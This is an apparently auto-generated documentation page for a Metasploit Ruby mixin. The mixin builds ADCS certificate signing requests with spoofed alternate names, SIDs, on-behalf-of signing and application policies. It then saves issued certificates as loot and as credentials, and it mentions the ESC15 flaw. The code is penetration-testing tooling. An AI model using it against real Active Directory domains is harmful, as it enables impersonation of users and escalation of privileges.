Module: Msf::Exploit::Remote::CertRequest
- Included in:
- HTTP::WebEnrollment, MsIcpr
- Defined in:
- lib/msf/core/exploit/remote/cert_request.rb
Instance Method Summary collapse
-
#create_csr(opts = {}) ⇒ Array(Rex::Proto::X509::Request, OpenSSL::PKey::RSA, Hash)
The signed CSR, the private key used to sign it, and a hash of enrollment request attributes (e.g.
CertificateTemplate,SAN); when both:pkcs12and:on_behalf_ofare supplied the first element is a Rex::Proto::CryptoAsn1::Cms::ContentInfo wrapping the inner CMC request instead. -
#get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate.
-
#get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate.
-
#get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
-
#get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
-
#get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
-
#get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
-
#get_cert_san_uri(cert) ⇒ Array<String>
Get the URI/URL from the certificate.
-
#with_adcs_certificate_request(opts) {|csr, attributes| ... } ⇒ OpenSSL::PKCS12?
Build a CSR and coordinate the full ADCS certificate enrollment lifecycle.
Instance Method Details
#create_csr(opts = {}) ⇒ Array(Rex::Proto::X509::Request, OpenSSL::PKey::RSA, Hash)
Returns the signed CSR, the private key used to sign it, and a hash of enrollment request attributes (e.g. CertificateTemplate, SAN); when both :pkcs12 and :on_behalf_of are supplied the first element is a Rex::Proto::CryptoAsn1::Cms::ContentInfo wrapping the inner CMC request instead.
28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 28 def create_csr(opts={}) rsa_key_size = opts.fetch(:rsa_key_size) { datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i } # can we double check if the key size is correct here when we are passed a private key? private_key = (opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size)) if private_key.n.num_bits != rsa_key_size elog("RSA key size mismatch") raise ArgumentError, "RSA key size mismatch in create_csr()" end user = opts[:username] status_msg = "Building a certificate signing request for user #{user}" status_msg << " - RSA key size: #{rsa_key_size}" alt_dns = opts.fetch(:alt_dns) { datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'] } alt_sid = opts.fetch(:alt_sid) { datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'] } alt_upn = opts.fetch(:alt_upn) { datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'] } algorithm = opts.fetch(:algorithm) { datastore['DigestAlgorithm'].blank? ? 'SHA256' : datastore['DigestAlgorithm'] } application_policies = opts.fetch(:add_cert_app_policy) { datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/) } cert_template = opts.fetch(:cert_template) { datastore['CERT_TEMPLATE'].blank? ? nil : datastore['CERT_TEMPLATE'] } status_msg << " - alternate DNS: #{alt_dns}" if alt_dns status_msg << " - alternate UPN: #{alt_upn}" if alt_upn status_msg << " - digest algorithm: #{algorithm}" if algorithm status_msg << " - template: #{cert_template}" if cert_template csr = Rex::Proto::X509::Request.build_csr( cn: user, private_key: private_key, dns: alt_dns, msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm, application_policies: application_policies ) pkcs12 = nil if opts.key?(:pkcs12) pkcs12 = opts[:pkcs12] elsif datastore['PFX'].present? pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) end on_behalf_of = opts.fetch(:on_behalf_of) { datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'] } status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of if pkcs12 && on_behalf_of vprint_status("Building certificate request on behalf of #{on_behalf_of}") csr = Rex::Proto::X509::Request.build_on_behalf_of( csr: csr, on_behalf_of: on_behalf_of, cert: pkcs12.certificate, key: pkcs12.key, algorithm: algorithm ) end vprint_status status_msg attributes = {} attributes['CertificateTemplate'] = cert_template if cert_template san = [] san << "dns=#{alt_dns}" if alt_dns san << "upn=#{alt_upn}" if alt_upn if alt_sid san << "url=#{Rex::Proto::X509::SAN_URL_PREFIX}#{alt_sid}" san << "url=#{alt_sid}" end attributes['SAN'] = san.join('&') unless san.empty? [csr, private_key, attributes] end |
#get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
250 251 252 253 254 255 256 257 258 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 250 def get_cert_msext_sid(cert) ext = cert.extensions.find { |e| e.oid == Rex::Proto::X509::OID_NTDS_CA_SECURITY_EXT } return unless ext ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der) return unless ntds_ca_security_ext[:OtherName][:type_id].value == Rex::Proto::X509::OID_NTDS_OBJECTSID ntds_ca_security_ext[:OtherName][:value].value end |
#get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.
264 265 266 267 268 269 270 271 272 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 264 def get_cert_msext_upn(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:otherName][:type_id]&.value == Rex::Proto::X509::OID_NT_PRINCIPAL_NAME end.map do |gn| RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value end end |
#get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 210 def get_cert_policy_oids(cert) all_oids = [] # ms-app-policies (CertificatePolicies) - existing handling if (ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }) begin cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der) cert_policies.value.each do |policy_info| oid_string = policy_info[:policyIdentifier].value all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)) end rescue StandardError => e vprint_error("Failed to parse ms-app-policies from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.}") end end # extendedKeyUsage - SEQUENCE OF OBJECT IDENTIFIER if (eku_ext = cert.extensions.find { |e| e.oid == 'extendedKeyUsage' }) begin asn1 = OpenSSL::ASN1.decode(eku_ext.value_der) # asn1 should be a Sequence whose children are OBJECT IDENTIFIER nodes if asn1.is_a?(OpenSSL::ASN1::Sequence) asn1.value.each do |node| next unless node.is_a?(OpenSSL::ASN1::ObjectId) oid_string = node.value all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)) end end rescue StandardError => e vprint_error("Failed to parse extendedKeyUsage from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.}") end end all_oids end |
#get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
278 279 280 281 282 283 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 278 def get_cert_san(cert) ext = cert.extensions.find { |e| e.oid == 'subjectAltName' } return unless ext Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der) end |
#get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
289 290 291 292 293 294 295 296 297 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 289 def get_cert_san_dns(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:dNSName].value? end.map do |gn| gn[:dNSName].value end end |
#get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
303 304 305 306 307 308 309 310 311 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 303 def get_cert_san_email(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:rfc822Name].value? end.map do |gn| gn[:rfc822Name].value end end |
#get_cert_san_uri(cert) ⇒ Array<String>
Get the URI/URL from the certificate.
317 318 319 320 321 322 323 324 325 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 317 def get_cert_san_uri(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:uniformResourceIdentifier].value? end.map do |gn| gn[:uniformResourceIdentifier].value end end |
#with_adcs_certificate_request(opts) {|csr, attributes| ... } ⇒ OpenSSL::PKCS12?
Build a CSR and coordinate the full ADCS certificate enrollment lifecycle.
Constructs a CSR via #create_csr, yields it together with the enrollment attributes to the caller-supplied block, which is responsible for the actual transport (MS-ICPR, Web Enrollment, etc.). After the block returns a certificate, this method validates policy OIDs, logs certificate fields, stores the PKCS#12 as loot, and optionally records a credential.
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 120 def with_adcs_certificate_request(opts, &block) csr, private_key, attributes = create_csr(opts) # When the including module also mixes in Exploit::Remote::CertificateTrace # and tracing is enabled, surface the CSR before it leaves the host. certificate_csr_trace(csr, attributes) if respond_to?(:certificate_csr_trace) vprint_status('Submitting the certificate signing request to the target...') certificate = block.call(csr, attributes) return unless certificate application_policies = opts.fetch(:add_cert_app_policy) do (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/)) end policy_oids = get_cert_policy_oids(certificate) if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty? print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.') return end if policy_oids print_status('Certificate Policies:') policy_oids.each do |oid| print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) end end unless (dns = get_cert_san_dns(certificate)).empty? print_status("Certificate DNS: #{dns.join(', ')}") end unless (email = get_cert_san_email(certificate)).empty? print_status("Certificate Email: #{email.join(', ')}") end if (sid = get_cert_msext_sid(certificate)) print_status("Certificate SID: #{sid}") end unless (upn = get_cert_msext_upn(certificate)).empty? print_status("Certificate UPN: #{upn.join(', ')}") end unless (uri = get_cert_san_uri(certificate)).empty? print_status("Certificate URI: #{uri.join(', ')}") end pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate) upn_username = upn_domain = nil unless upn&.first.blank? info = "#{upn&.first} Certificate" # TODO: I was under the impression a single certificate can only have one UPN associated with it. # But here, `upn` can be an array of UPN's. This will need to be sorted out. upn_username, upn_domain = upn&.first&.split('@') else info = "#{opts[:domain]}\\#{opts[:username]} Certificate" end if (service = opts[:service]) # Only log a credential if we have service data to associate with it credential_data = { workspace_id: myworkspace_id, username: upn_username || opts[:username], private_type: :pkcs12, private_data: Base64.strict_encode64(pkcs12.to_der), private_metadata: { adcs_ca: datastore['CA'], adcs_template: opts.fetch(:cert_template) { datastore['CERT_TEMPLATE'].blank? ? nil : datastore['CERT_TEMPLATE'] } }, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: upn_domain || opts[:domain], origin_type: :service, service: service, module_fullname: fullname } create_credential(credential_data) end stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) print_status("Certificate stored at: #{stored_path}") pkcs12 end |